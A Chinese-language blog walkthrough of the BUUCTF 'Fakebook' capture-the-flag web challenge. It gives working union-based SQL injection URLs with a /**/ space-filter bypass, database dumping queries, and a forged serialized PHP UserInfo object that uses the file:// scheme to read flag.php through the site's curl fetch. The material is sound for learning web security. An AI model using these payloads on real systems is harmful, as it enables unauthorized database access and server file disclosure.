BUUCTF WEB Fakebook

BUUCTF WEB Fakebook

進入頁面發現有個登錄有個註冊!!!
註冊一個賬號登錄:
在這裏插入圖片描述
有個參數,下面應該是會顯示你網址的博客地址!!!
有參數肯定是進行SQL注入嘗試!!發現存在盲注!no=1=1=1與no=1=0=1回顯是不一樣的!!
不過好像還有報錯注入!!有四個字段!!
在這裏插入圖片描述
後面發現空格被過濾了??使用/**/代替,存在報錯注入:
在這裏插入圖片描述
嘗試注入:

http://c6cbeecb-15c6-4e8d-ac30-96e071441c16.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4#
http://c6cbeecb-15c6-4e8d-ac30-96e071441c16.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=%27users%27),3,4#

users表中的列名:
在這裏插入圖片描述
查看一下內容:

http://c6cbeecb-15c6-4e8d-ac30-96e071441c16.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4#

在這裏插入圖片描述
存放的都是反序列化後的值????
其實頁面報錯的時候也有顯示:
在這裏插入圖片描述
仔細看看序列化後的字符串,發現就是我們註冊時輸入的那些值,不過接下來該如何進行操作呢??
懷疑它會讀取blog中的內容,然後在the contents of his/her blog處顯示~~不過我們不知道flag在何處
經過嘗試之後發現存在flag.php頁面,那我們可以通過file協議進行讀取文件內容
我們構造一個新的序列化的字符串:

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

在sql查詢時,查詢一個不存在的字段值,是不會報錯的
直接傳入:

http://c6cbeecb-15c6-4e8d-ac30-96e071441c16.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:123;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27#

得到:
在這裏插入圖片描述
點擊進入,查看源代碼的到flag:
在這裏插入圖片描述
其實這道題目有個robots.txt,,,,
在這裏插入圖片描述
有個備份文件:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

看這個get函數,應該是讀取url內容的!那我們註冊的時候能不能直接寫入file呢??
emmmm,好像不行:
在這裏插入圖片描述
應該是function isValidBlog ()這個函數!!所以我們只能通過sql語句來進行獲取flag.php裏面的內容了,,,
看到有個大佬更猛,直接用SQL語句就能讀取flag.php文件的內容:
在這裏插入圖片描述
沒想到這裏還能執行load_file()函數,,,,
這應該是個非預期了吧,,,學到了學到了!!!

發佈了202 篇原創文章 · 獲贊 120 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章